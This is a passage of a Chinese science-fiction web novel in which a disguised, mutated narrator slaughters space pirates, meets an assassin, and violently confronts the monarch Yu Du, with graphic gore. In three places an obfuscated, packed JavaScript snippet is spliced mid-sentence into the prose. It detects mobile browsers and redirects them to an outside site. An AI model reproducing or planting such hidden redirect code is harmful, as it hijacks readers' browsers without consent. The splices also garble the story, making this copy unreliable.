玉独笃定回答:“人手紧张,不需要,我不会出事。” 战舰内本来士兵就不多,与以种群形态活动的星匪没有可比性,必须要合理使用,放在关键处。 玉独偏头看向我,我走上前去。 略特一瞧见我就脑袋疼,见我近乎一身绷带,更是无奈无语,道:“她已经身受重伤了,恐怕难以承担护卫的责任。” 在这些长官眼里,爱的故事就不那么奏效,我依然是那个无能哈珀技术兵,为玉独挡下那一场小爆炸只是鲁莽的勇气,而非拥有制敌之能。 他会觉得我有某种特殊技巧讨得君主欢心,但不会认为这是护卫的能力。 玉独自然道:“嗯,我会保护好她。” 我很想开口反驳,就算我绑住双手双脚她也绝非我的对手,但看到这么多人在场,还是维护了她的面子保持沉默。 “.....”略特顿了顿,再次压低声音道:“王,全方向广播一旦投射,一小时以后,星匪一定会被吸引过来,与其恶战一场,其实还有一个更简单有效的方法。” 说这话时,他的脸色有点苍白,眼神也闪烁,似乎有些不太认同自己的话一般。 玉独看着他,又抬头越过他看向众人,片刻,说道:“我知道你想说什么。” “让战舰解体,把所有军官和重要的人物,都集中在有动力系统的那部分,然后大家一起离开,对吗?” 前面她提到过,战舰内部有很多控制系统,皆各自分开,可独立活动,而动力舱就可以拆解为一个单独的小型飞船。 脱离了数千人和庞大战舰的重量,只承载数十位最重要的人员,小飞船将能以非常快的速度躲避陨石飞离小行星带,回到安全轨道。 当然,即使他们立刻就找来援兵,留在空舱内失去能源的众人也是必死无疑。 “你还记得我们这艘战舰出发的时候有多么备受瞩目吧。” 玉独慢慢道:“这是为了赢得人心的巡航,一旦我们将数千人的生死抛之脑后,那么此事将演变成共和国历史上最糟糕的道德伦理灾难,你我都将成为逃兵。” 虽然提议之前就对这个事实心知肚明,因为被戳穿,略特还是冷汗直下,羞愧道:“抱歉。” 他只是被推出来的人,真正想要问却不敢问的都藏在后面的人群里。玉独提高声音:“我不是不能接受牺牲,但在还能赢的时候,要尝试去赢。” “另外,永远不要尝试背叛拥戴和相信自己的那些人。” 前面还能勉强赞同,听到这句话,我眼皮抽了抽。 真是虚伪,是从前的我不够拥戴她吗? 是口口声声称她为母亲,心甘情愿做所有她看不起的肮脏事,为她冲锋陷阵,献出所有,不够尊敬吗? 如果为她奉献的下场是招来挖心挖脑的三年流放,那么向她掠夺会带来怎样的结果呢? 好奇。 玉独没有追究略特的提议,转而道:“我还有一个重要的任务要安排给你,你去中层舰炮区警戒,利用船炮将靠近我们的陨石全部击落,星匪很有可能会伪装在其中。” 略特道:“是。” 全息屏幕进入待机状态,一张淡蓝色的共和国国旗——星蝉翼绽开了机械的透明翅膀。 玉独站在其下,右手握拳,抵在左肩,微微弯腰道:“维护战舰与公民的安全就交到你们手中了,荣誉为您。” “荣誉为您。”众人齐刷刷施礼,整齐的回应在驾驶室内回荡。 我心道:或许现在的情景比登基仪式更像登基,这才是发自内心的臣服。 所有小队都在指令下分散出去,玉独坐上指挥位,眼中倒映着那张填满标记的三维图。 我来到她座椅边,顺着她视线巡游于图像中,语气平静问道:“我认同你刚刚说的话,那么,宣誓向您效忠,是否能换来光明灿烂的前程?” 如果她回答可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16743518|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那么我将撕破当下的所有伪装,将我真正的残缺和奇恨暴露出来,告诉她答案是否定的,我早就亲身领教过了。 玉独没有立刻回应,而是点击了屏幕上的按钮,战舰被缩小为一个点,苍茫的宇宙被放大。 那些正威胁着战舰的危险元素被标记出来,高能射线,电磁风暴,密集的陨石,已损坏的防护罩等等。 危机四伏。 “世事难料,自身难保,哈珀,”玉独轻声说:“向正义宣誓,而不是向我。” 我问:“正义站在谁那一边?” “我们的努力是为了让正义哪边都不站。”玉独说。 最初的一个小时内,什么都没发生,即使有不安分的星匪进入了星舰,也在安排好的伏击下成功阻截。 然而,与源源不断且无孔不入的,蜂群般的星匪相比,他们的人数实在不占优势,千防万防之下,还是有一小队溜了进来。 一位留在驾驶室的文员看着屏幕上的红点惊恐道:“遭...遭了,系统显示,有一队星匪直接从上面来了,好像是...直奔指挥室的!” 玉独也看见了那些标识,问道:“多少人?” 文员双手颤抖:“至少二三十个!” 有战斗能力的士兵都被分派出去,这里只剩下一具尸体还有几个监控数据的文员,哪里是星匪的对手? 在这样艰难的情况下,时间被拉长为一根紧绷的线,剥去所有寒暄柔软的部分,只剩下简单的指令和对话。玉独没有多言,望向我,意义明确。 我点点头,转身往外走。 文员一把抓住我的袖子:“哈珀技术兵,那也许是二三十个全副武装的残暴星匪。” 她不知道为何君主要派一位重伤到缺失手臂的人去迎敌,但她认为自己有责任把风险说清。 我没有耐心应付人类,哪怕是关心,拉下她的手:“善于利用环境,可以以少胜多。” 离开驾驶室,我径直前往上方,那是一个模拟雨林区,舱室内部种满了潮湿的雨林植物,温度较高,雾霭沉沉。 我停在舱室门前,调出控制系统,点下了灯光关闭和反重力模拟的按钮。 活动了一下筋骨,我打开舱室大门。 雨林舱室内,一名躲在假山内的研究员瑟瑟发抖,无声抱头痛哭。 不远处传来重而密集的脚步声,像是有一整队重装士兵向这边走来。这源于星匪们极为厚重的盔甲,那些甲片材质特殊,靠掠夺来的资源东拼西凑,不够坚固,所以为了先发致胜,总是下手快而残暴,不留一个活口。 书上看到的知识将真正出现在眼前,研究员无比绝望,不知道为什么自己要经历这些。 命一定是保不住了,可她所钟爱的这些植物都如此无辜,还未移植到主星的土地就要死于这荒凉到一滴水都找不出来的小行星带,难道这就是无常的命运吗? 这时,她发现舱室内的灯在闪烁,而后关闭,墨色不期然降临。 星匪们靠近的脚步明显一顿,紧接着,疑惑的声音此起彼伏响起,还伴随着一串听不懂语言的叽里咕噜骂声。 黑暗中,研究员听到极轻的嗡鸣,紧接着头朝下摔去,磕在了假山山洞的顶部,头晕目眩。 晃了晃脑袋,她赶紧重新爬起来,意识到有人打开了反重力。 随即,她听见一阵噼里啪啦的摔倒声,星匪们全部失去重心,向上砸在天花板上,沉重盔甲使他们发出惊天动地的震响,交叠碰撞,惨叫连连。 茂密的巨型叶片、纠缠的藤蔓和气根构成了新的绿色天花板,它们垂下柔嫩的枝叶,轻轻摇动着,像是招手,湿厚的雾气向星匪聚拢。 研究员背靠山石,一动不敢动,浑身发抖。 舱门打开了,她似乎听到了黑暗中某个声音,某个比星匪还要可怕数百万倍的声音,仿佛从深邃遥远的星系里传来。 是什么呢? 什么都看不到,但研究员害怕到想要尖叫,自脚掌升起一股瘆人的凉意。 那未知的,隐藏在黑暗中,根植于恐惧DNA里的,最古老最原始最神秘的.... 怪物...一定是怪物进来了。 为了抵抗那令人疯狂的恐惧,研究员捂住耳朵,圆睁着眼,眼角撕裂,嘴唇神经质的抖动起来,倒数着:“一百只箭毒蛙,九十九只箭毒蛙....” 数完一百后,再数个两个一百,灯被打开。 研究员敏锐察觉到那个引发恐怖的未知生物已经离开,她心跳放缓,发觉自己还活着,鼓起勇气从藤蔓间探出头。 薄雾散去,重重墨绿色之下,二三十具盔甲尸体纵横交错,血流成河。 解决完星匪,我往回走,口袋里装着给玉独的礼物——二十来块心脏碎片。 也许玉独正是喜欢这种东西,才把我的心脏都给拿走了。 我开开心心等待电梯,然而,对着金属光面看到自己的倒影时,我突然发现,方才杀的太欢,左手居然重新长回来了,以这个样子回去可不太行。 正准备找东西把手砸烂时,耳边捕捉到一丝动静。 我迅速抬头望向走廊尽头,数道:“出来。” 须臾,金银走了出来。 她的脸部有些肿胀,眼睛变成细细一条,都看不出金银的样子了,这大概是花生过敏的效果,而眼角和下颌部分都有橙色的颜料。 经过了一番折腾,妆容完全失效,只好以别别扭扭的方式留在脸上。 她身上沾满了血,神情有些兴奋。 “我登上启明舰,是想要杀三个人,舰长,副官,以及君主,”她笑道:“你猜猜,我完成任务了吗?” 13. 偏航4 排气扇在工作,墙壁下的管道嗡鸣不休,舱室内的雨林植物在呼吸。 无数细碎声音突然排山倒海般灌入耳朵,又瞬间退去。 呼吸变得沉重,我视野中仅剩下金银那怪异的脸。 手伸进口袋,摸出了那二十来块心脏碎片,握在手心,血从我指缝溢出,齐整的肉块被挤压变形。 “你今天能不能离开启明舰,取决于你接下来的回答。”我慢慢向她走去,在地面流下一串血滴:“玉独是否存活。” 那些心脏碎片看起来给金银带来了不小的震撼,她像是得到了某种佐证似的,喃喃自语:“你很强。” 我道:“玉独,是否,存活。” 走到距离她还有十步左右时,我脚步顿住,沉默须臾,笃定道:“她还活着。” 逃逝于我感官的声音再度归位,走廊不再氧气稀薄。 “哦?”金银挑眉:“何以见得?” 目光反复描摹着金银衣服上的血迹,我眸色变淡,简短道:“她的血更漂亮。” 这个回答让金银愣住,不太明白血迹要怎么以漂亮这个词语来形容,不过她看穿了我怪人的本质,不再深究,自然开启下一个话题。 “你比我想象中要强大,之前从未听过你的名字。” 我说道:“登上悬赏排行榜很丢人,作为一个暗杀者,泄露了行踪,还被人知道了过敏这种弱点。” 仿佛被戳中痛处,金银露出微妙的尴尬表情,似乎陷入了一瞬间的回忆,为某件事而无奈低语:“有些事是没办法的....” 须臾,她换了副面孔,重新变得开朗:“玉独没事。我改变主意了,我想少杀一个人,多结交一个朋友。” “想要交朋友,就不要戴面具。”我说。 “你放心,我们会在别的地方见面,”金银抬手,向我扔来一样东西:“送你个礼物。” 优于常人的视觉让我在那东西自金银手中脱出时,就看清了它的模样,那是一只浑身金灿灿的甲虫,指甲盖大小,拱起的背部有两粒黑色圆点,如今的自然间很少见这类天然品种。 柔嫩的鞘翅挤出背壳,甲虫朝我飞来,落在我肩头,抖动翅膀。金银道:“去川炉找巨木甲佛。” 川炉,是对整个地下都市的称呼。 那是一个与严肃斐德风格截然不同的庞大黑暗世界,无四季,无日月,靠近地心,公民和囚犯如生活火炉之中,年复一年的夏季让冰块与能源成为奢侈品,与斐德由贯穿地表的电梯连接。 我起初杀死的牛头黑.帮就在川炉的其中一处片区。 没能在记忆里找到与巨木假佛对应的角色,我摇头:“不认识。” 金银指了指我肩头的甲虫:“它会给你带路的。” 我问:“我为什么要去。” “地上斐德,地下川炉。”金银眼眸发亮,那里燃烧着兴奋的神色。 “斐德有玉独,”她缓慢道:“但地下还缺一位君主。” 川炉名义上归共和国管控,但那里几乎生活着不输于斐德的人口,组成复杂,又崇尚暴力至上,有自己完整的生态系统,怎么可能甘心完全听从皇室与议会的调配。 所以,每月都会有新的“叛国者”出现,引发暴乱,被镇压,循环往复。 他们居然想要对照斐德的君主,自己也新立一个王出来吗? 玉独应该还不知道这件事。 我说道:“你认为是我。” 金银扬了扬下巴:“能者居之。” 她看向腕表,后退两步,朝我挥手:“那么,再见。” 一缕白烟从她脚下升起,逐渐覆盖住她的全身,随后又被抽入排气管道。 烟雾彻底消失后,金银已不再原地,而地板上多出了一幅新鲜的画作,一只栩栩如生的,闭合的眼睛。 地下的君主吗.... 我蹲下,身,左手按地,右手变异成骨状,抡起胳膊一下下将左手砸烂成泥,血和烂肉碎骨溅在那幅画上,增添了几分诡谲艳色。 听起来还不错。 当我重新出现在驾驶室里时,文员们都如见鬼了一般,要实实在在摸到我滚热的身躯才相信回来的是人而不是幽魂。 与二十多个全副武装的星匪对决并近乎全身而退,她们为这不可思议的奇迹一幕找到了理由——我大概是一个深藏不漏的战术家,或许这才是君主青睐我的真实原因。 不理会文员们的询问,我径直走向玉独,并在她沉静的目光中,将手中的塑料袋放在指挥台上:“给我重新包扎。” 刚刚回来的路上,我单独去了躺医务室,按照方才玉独拿出来的药品名单又取个一份出来。 听从玉独的话打架,害我的包扎全无,她需要为此负责。 玉独仔仔细细看了我一阵,站起身,拎起那包药:“跟我来。” 她带着我准备离开驾驶室,路过文员时,说道:“我会继续同步数据给你们。” 几分钟后,我们坐在她的房间桌前,台灯的柔和灯光落在我狰狞伤口之上,强效的纳米级止血带让红色止阀,一圈圈透白的纱布将断臂包裹。 “好了。”玉独在最后一圈时给绷带打了个蝴蝶结。 我盯着断臂看了会,不满道:“你在敷衍我。” 虽说玉独熟练的手法任谁来看都没问题,但与她上次为我包扎的精度完全不同,若说之前那个能被称之为艺术,这就只是拙劣的仿冒品。 做完事后得不到相应的奖励,还要被敷衍以对,这让我有些不爽。 “抱歉。”玉独很快道歉,承认了自己心不在焉。 “还有一个小时,救援队就会过来,”她目光盯着虚空的一点,似乎心事重重:“在那之前,你能为我争取至少半个小时完全不被打扰的时间吗?” 我对她这副神情很熟悉,这是在决定做什么事后的复盘和整理阶段,要不断推演来确保不出问题,而每次也只有真正意义上的重要之事才能引来她这样的反应。 想象不到还有什么事需要去处理,但我不会怀疑玉独在这方面的判断,暂且压下不满:“只需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16743519|189767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要半个小时吗。” “足够了。”玉独说。 我举起断臂:“等会给我重新包扎。” 好像对我的执着不太理解,但玉独依然软声道:“好好好。” 她转身准备进入卫生间,半途又折回来,在我提来的药品袋子里翻找,并取出了一瓶药,对着我道:“我相信你。” 我心道:这战舰中人心叵测,你也只能相信我,没的选择。 握着药物,玉独走进卫生间,舱门关闭。 我看了眼药袋,发现少的那份是麻醉剂。 她要干什么? 桌面的通讯机响起,来自驾驶室的汇报,战舰破口处的星匪数量太多,难以解决,军官在咨询应对方法。 我模仿玉独的语气,以文字信息回复处理。 之前战场上没少干这种事,我对此很是熟练。在玉独精神紧绷过度,或者连续熬了数场大夜实在撑不住时,帮她顶上,这让我产生了不合时宜的熟悉感。 我不由得扪心自问:怎么又守着她了? 半个小时很短,我最后一次根据对战舰的熟练度给出建议后,舱门打开,一股血的气味飘出来。 回复信件的动作一顿,我转过头打量玉独。 与刚进去相比,玉独很显然经历了不太好的事。她的脸极其苍白,额头布满冷汗,整个人虚脱了一般,要扶着墙才能勉强站住。 越过她的身体,我看到那管放在洗手台上的麻醉剂,并没有开封。 “你...” “没事。”玉独摇摇晃晃扶着墙走到我身边,挨着我坐下。她揉着眉心,唇上毫无血色,连抿出笑都无力:“有人发现吗?” 我摇摇头:“没有。” 血气从她的手臂传来,我偏过头,注意到她右手小臂新缠上的厚重纱布,腥铁的锈味源源不断涌出。 即使不看,我也能从出血量推测出,那里有一道至少五到六厘米的伤口。 就在我猜测她受伤的原因时,有新消息进入。 我不闻不问,只盯着她的脸。 玉独则在简单浏览信息后,按下语音键,强撑着让声音脱去虚弱感,增加冷质,严肃低磁:“先后退,不要缠斗,在两个舱室后方的位置作战。” 松开按键,她尝试稳定呼吸,阖上眼休息,右手不受控制的微微颤抖。 多种猜测滚过脑海,我没问出来,只是道:“你受伤了。” 玉独道:“一些必要的牺牲。” 她翻出水杯,喝了口水,润润干燥的红唇。我注意到她手臂上的绷带,不开心道:“你给自己包扎就很整齐。” “....”玉独推开水杯:“先欠着你的。” 又一通电话打进来,玉独按下接听,里面传来一道伴随着规律嗡鸣的嗓音,而电话的内容,则代表着在持续了数个小时的失联后,救援队终于来了。 玉独脸上却未见多少欣喜,她冷静回应后,挂断电话,撑着桌面站起来,冲我轻笑。 “还有很多人要应付呢,走吧。” 14. 偏航5 小行星带的星匪装备不够优秀,一向喜欢速战速战,抢完就跑,而这次在启明舰上吃了大亏,不仅没能突进,还被后续赶来的救援部队堵在了战舰内部,一网打尽,损失惨重。 人质被堆放在甲板,黑压压一片,皆抱头跪地不动,等待审判。 玉独带着几个小队赶过来,向镇压在为首的那名军官道:“动作真快。” 那军官黑短卷发,蓝眼睛,亮得像宝石,脸小又尖,五官极为精致。个子不算高,但身躯纤细柔韧,像一头蓄势待发的矫捷豹子。她转向玉独,行了军礼。 “王,我是番薯空间站的指挥官卡玛,抱歉,我们来迟了。” 边缘星系的星球和空间站秉承着贱名好养活的传统,都喜欢起点接地气的名字,例如番薯,土豆,牵牛花等等。 听起来并不庄重,然而,主星并不屑于为这些星星点点的边缘物再费劲起名,一般喜欢统称为1号,2号,3号,或者干脆是“1号旁边那颗”,倒不如蔬菜或水果好听些。 甲板上被控制住的星匪至少数量上千,而看管他们的只有零星几个士兵与那位卡玛指挥官,可这些天性残暴的匪徒却老老实实抱头蹲着,不敢有丝毫变乱挑衅之心。 卡玛常年生活在小行星带附近,一定没少与星匪打交道。我仔细打量她,瞧那天使般的面孔,心知这样看起来简单的孩子,也必然有自己的生存之法,和残暴的一面。 在我们来之前,他们之间怕是已经有一场足以把人打服的对战了。 玉独道:“通讯系统被毁,我们无法直接对话,这个速度已经足够快。正常推进吧,不要忘记收敛舰长和副官的尸体。” 卡玛:“是。” 她低下的目光看见玉独的伤臂,于是问道:“您受伤了。” 随着她话音落下,我察觉到一种微妙的注视感。 不动声色观察四周,随着呼吸变浅,感官变得敏锐,我发现有不少人的视线都在悄悄关注此处,或者说,关注玉独。 不管是清洁人员,还是路过的技术兵,士兵,军官等等,都有意无意分出部分精力,随着君主的动向而变动。 除了治安官以外,这战舰里负责监视玉独的眼线,怕是比我想象中要多得多。 玉独自然也有所察觉,可还是扬起一张完美无缺的笑脸,仿佛丝毫不在乎自身处境似的,向卡玛道:“你会从航行日志里看到几个小时内的战舰里有多热闹,只受伤已是最好的结果。” 我的形象很能为惨烈现状提供证据,卡玛看了我一眼,不再说什么。 有了援助,原定的巡航计划回到正轨。 不过,由于舰长和副官的惨案发生,巡游不再按原计划推行,而是为了安全着想,强行砍掉了大部分时间,缩短为一周结束。 要配合这个改动,就需要在原定基础上删除一些途径点。 不多时,首相那边发来了一份新的巡航星球名单,而其中不再包含玉独的家乡。 看到这份结果时,玉独几乎是立刻向首相申请,至少再多加一个行程,让她可以返乡看看。 军舰上的部分军官经过了这一趟生死后,都愿意听从玉独的指令,表示了可以接受,但这则申请依然被首相单方面否决,回家一事被无限搁置。 那通电话以玉独忍耐怒火,强行勾起的笑容结束。 我认为,这大概是上次首相对玉独当众询问拟态易容技术的报复。 会议结束,真正的巡游就开始了。 副官曾与朋友形容这次巡游是政.治作秀,除了故意贬低的部分,其实不无道理。 本来打着“慰问”的旗号过来,就是计划给出除了真实帮助以外的所有帮助,而玉独作为一个“演员”,她是怎样决定的,都无法改变这一点。 媒体竖起摄像头,慈善的君主去镜头下与贫穷的孩子们合照,关心他们的日常生活,给与建议,最后背景配上煽情的话语,与一张张灰头土脸的笑容。 巡航任务有没有效果尚不清楚,但一个公民们爱看的煽情节目就已经圆满完成。 一周后,巡航的最后一站,四叶草行星上,结束了所有工作的玉独带着我漫步在孢子灯光下,治安官们停留在五步以外的位置,眼部灯条在晦暗的天色中发亮。 垃圾星实在没什么风景可言,脚下的土壤是灰白色,长不出有生机的植物,远方一起一伏之处会让人误以为是山,实则是压缩成块后的垃圾拼成的一个个小丘。 风声像叹息,阳光吝啬于落在此处。 空气十分干燥,有种呛人的霉味,本该带着防毒面罩,但我不需要,而玉独自小在垃圾星长大,早已习惯。 我们并肩漫步片刻,玉独的目光越过山丘:“眼球离开了?” 救援人员和战舰上的人快把启明舰翻了个底朝天,也没能找到眼球的踪迹。 就这么惴惴不安防范了好一阵子,在昨晚的例行检查中,有一艘小型备用救生飞艇不见了,调出取用记录,多次比对,大概就是眼球偷走的。 她没有再出现,也没有再杀人,就这么带着众人的恐怖一并离去,那只闭合的眼还留在雨林室外的地板上。 我点点头,表示赞同,脑中不自觉回忆起这段时间发生的事。 须臾,我的脚步忽而慢下来。 风声忽紧。 察觉到我的掉队,玉独也停下,侧身望向我。 沉默了好一会,我抬头望向她的脸,那张冷艳的面容一半沉浸在彻底的黑暗中,红发似血。 方才,有那么一瞬间,我脑中雪亮,意识到一件事。 她需要我为她争取的,不被打扰的那半个小时,处于对外通讯系统断联的时间片段里。 我不知道她对自己的手臂做了什么,但那应该能够让她绕开监视的东西,而她在登上战舰前,就已经准备好了这个。 也就是说,无论有没有眼球所引起的那几个小时的通讯断联,她应该都会想别的方法达到同样的效果。 甚至很有可能,眼球就是她找来的。 战舰的偏航,或许就是她一手操纵的结果。 这条逻辑链通畅的瞬间,我一下找回了与玉独相处最为熟悉的感觉,这份层层叠叠的计算,那不知真假的笑容,以及永远有目标要冲刺的明确感。 我不由得问道:“你的梦想是什么。” 穿过我们之间的风带来持续的干燥锈味,玉独面色不改,卷发蔓摇过她的脸颊:“告诉你之后,你会毁掉它吗?” 她深色的瞳仁在薄光下看起来格外漂亮,我说道:“听起来你不害怕。” “九十九个敌人与一百个敌人没区别。”玉独点起一只烟。 我说:“但你的同伴是零个还是一个,有区别。” 红点一明一灭,花香弥漫开来。玉独微微歪头,笑看我:“你担心我孤独一人吗?” 我说道:“我担心你不是。” 她不能得到帮助和理解,她身边的任何人对我而言都是障碍,她就该举目无亲,众叛亲离,孤苦无依,环视四望后发现只有我站在她身后,然后向我祈求。 玉独脸上的脸明显僵了下。 她轻轻摇头,走到我身前,俯身在我耳边说道:“这趟出行,我在战舰上的动作太多。等回去之后,我大概率会被软禁。” 我问:“首相?” 君主虽然只是个礼仪位,但能够直接对她下手的人怕没几位,而那位首相的恶意已相当明显了。 似乎对我刚刚的回答不爽,她将靠近我耳边这暧昧的动作做出了愤恨的意思,深色眸子盯着我:“那可是九十九个敌人,不知道谁会对我下手。” 我侧过头,与她的面容极近,能看清她脸上的细小绒毛:“你想让我去救你。” “或许....”玉独抽了口烟:“我只是想让人陪我抽支烟?” 不管是因为什么,我都会问清楚的,而即使她不说,我也会找上门去,过家家的装扮游戏已经结束了,她该迎来她应有的命运。 “皇宫?还是你的家?” 玉独道:“向宪法宣誓之地。” 那就是皇宫。 我很快想起那里有一个金光璀璨的王座,那权力的神龛。 “深夜,”我一字一句道:“记得打开窗。” . 晚上9:00 广播里正播放着一则紧急消息,说君主将为了替舰长和副官哀悼,在接下来的一个月内不再出席公众活动,同时推迟新雕塑的剪彩仪式以及联欢酒会,基本减去了所有的露面机会。 日常听到这句话不会多想,可玉独提前就猜到了自己会被软禁,那么这则消息就成为一个印证和信号,显得不同寻常。 我吃掉了手中的咖啡豆,含着苦涩味从卫生间走到客厅。哈珀正坐在那,捧着一杯热水,战战兢兢望向我。 巡航活动结束后,我径直来到了哈珀家,摘除了她的生命循环系统。 与一周前相比,女孩瘦了些,脸颊凹进去,神色萎靡,满目恐惧惊惶,身体总是小幅度颤抖,如惊弓之鸟。 这段时间我看习惯了这张脸,竟油然而生一股亲切感,也让我有了一点和她交流的耐心。 察觉到我走进,哈珀立刻求饶道:“别杀我,我一句话都不会多说的!” “我知道,”我停在沙发靠背后:“我使用你的身份,顶替你进入启明舰,做了一些小事,如果后面有人问起,为了避免你一问三不知,我现在和你同步。” 我没打算杀死她,如今我的种种戾气有了可以倾泻的渠道,就对伤害普通生命毫无兴趣。 而哈珀想要以现在这个身份继续活下去,必须要对战舰上发生的事有所了解才行。 意识到我是认真的,哈珀为自己保留了一条小命而感恩戴德,她认为绝不会有什么事比面对死亡更糟糕了,还算是平稳问道:“什么小事?” 在她的猜测中,大概是我犯了错,工作没做好,或者别的什么,被分队长惩罚之类,那不算什么问题,大不了被记过,甚至被赶出军队,都比死要好得多。 我揉着咖啡豆,整理了一下要说的内容,开口道:“睡在你下铺的技术兵金银,是斐德城头号杀手眼球假扮的,舰长和副官死于她手。” “...嗯?”哈珀瞪大眼,为这短短数十个字所包含的信息量所震惊。 我继续道:“你怼过科索尔,和战舰上的绝大多数军官,他们现在都看你不顺眼。” “啊?”哈珀手里的杯子掉在地上,热水染湿了地毯。 “你名义上成为了君主的床伴。” “啊!”哈珀破音了。 “为了保护君主,你失去了左手。” “....”哈珀捂住左手,唇角抽动。 “你徒手制服了二十五个小行星带星匪。” 哈珀脸色灰败,已经做不出表情。 我相信她在此刻已经知道,有东西会比死亡更可怕,所以,我把正面的部分放在最后说。 “你立下一等军功,被荣升为三级军士长,即将在星辰圣殿被授予勇气与战斗勋章,享受终生年金与一片主星地产,以及半年的带薪长假。” 像是被天降的幸福砸中,哈珀头晕目眩,嘴唇抖了抖。 很令人意外的,她直到此刻,眼中才流露出真正的悲伤和震惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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作为斐德名义上的中心,这边要比别处要更加安静清幽。 我绕到皇宫侧面,从开了一线的窗户钻入,脚踩着柔软的地毯,一间房一间房寻找玉独的身影。 闯了数次空门,我微微思索,忽然,心念一动,改了方向,朝大厅走去。 沿着涂有白漆的旋转楼梯向下,浮华胜丽的王座大厅逐渐出现在我面前,宽敞冰冷的大厅尽头,立着那为世人所仰视的高贵王座。 玉独身着绸白睡衣,站在前方,手里提着一盏灯,似正望着王座出神。 红发倾泻在她身后,近乎齐腰,遮住她窄瘦的脊背。白裙为她增添一份神圣感,让她仿佛融于墙壁那副精妙绝伦的古典壁画之中,在飞天的神话里一同远去。 听到我的脚步声,女人没回头,轻声道:“你来了。” 大厅内唯一的光线是玉独手中的灯,她站在那,像一个星星,引人去摘。 我向她走去,沿着她登基时的路线,踩着红毯,一步步向前:“嗯,我来了。” 玉独回眸看我。 她的眼睛大概没我的好用,不足以穿透朦胧的黑暗注视我,于是,我问道:“你能看清我吗?” “我需要看清吗?”玉独问:“你有变化吗?” 她的声音回荡在大厅内,格外虚无缥缈。 果然,她早就察觉到那是我。 “不需要。”我说。 踩上阶梯,我不紧不慢,终于来到她身前。 玉独将灯提了起来,照亮我刻薄冷漠的脸。 这对她而言必然是第一次所见的面容,处处显得锐利的细节,单眼皮,仿佛要刺破皮肤的鼻骨,薄唇,一副生来就是为了讨债的冷相。 “你还记得多少过去的事。”她很清楚我的大脑残缺,记忆损失,才有此一问。 那长久积累的恨终于在她这份冷静下决堤。下一瞬,灯被打翻,砸伤大理石地面,发出清脆响动后,沿着阶梯一路滚下去,不可阻挡的趋势,像某种坠落的预兆。 “只有部分,你知道我剩余大脑的下落吗?我的....”我扼住玉独的喉咙,将她按坐进王座,再低声叫道:“母亲。” 大抵是从喉间的力度感受到我来者不善,玉独没有挣扎,神色了然。费劲喘息后,她笑了笑:“看来你只想起了对自己有益的部分。” “对我有益的部分?”骨刃自我掌心刺出,我一句句问。 “我背叛过你吗。” “我将你流放吗。” “我拆掉你的骨骼,挖走你的心脏吗。” “这些有益于我,还是,有益于你....”我将骨刃扎入她的肩膀:“和你虚伪的远大理想。” 我刺得很慢,意欲带来痛苦,效果立竿见影。玉独的心跳果然错乱,呼吸也变得急促。 在我的骨刃下,人类的皮肉骨骼如纸一样剥。她被迫接受着入.侵,眯起眼,颤抖着唇,迅速低下头,任由头发遮住脸。 掌心所能感受到的体温升高,我听见她喉间响起的极低痛吟。 她难以承受,但没有也不能推开我,像是习惯接受剧痛一样忍耐我带来的一切。 骨刃刺透她的身体,扎入后方的王座,血染透了她的衣服,她的面色比睡衣要惨白。 将她和王座钉在一起后,我收回手,满意欣赏自己的作品。 既然她喜欢权力,那我就让她与权力相连,母亲会感谢我的吧。 想看看她的表情。 我俯下.身,拨开玉独的长发,她喘得很轻,面容无血色,眉头因痛楚而紧蹙,而眼中却闪烁着讽刺的光,还有微弱的恨。 这让我费解。 你为何恨我,母亲? 在我遗失的记忆片段里,难道有你憎恨源头的蛛丝马迹? 但我已经不想知道了,我这次回来,只有一个目的。 就让王座沦为你失神沦陷的床笫。 我不会放过你的... 我那温柔的,美丽的“母亲”。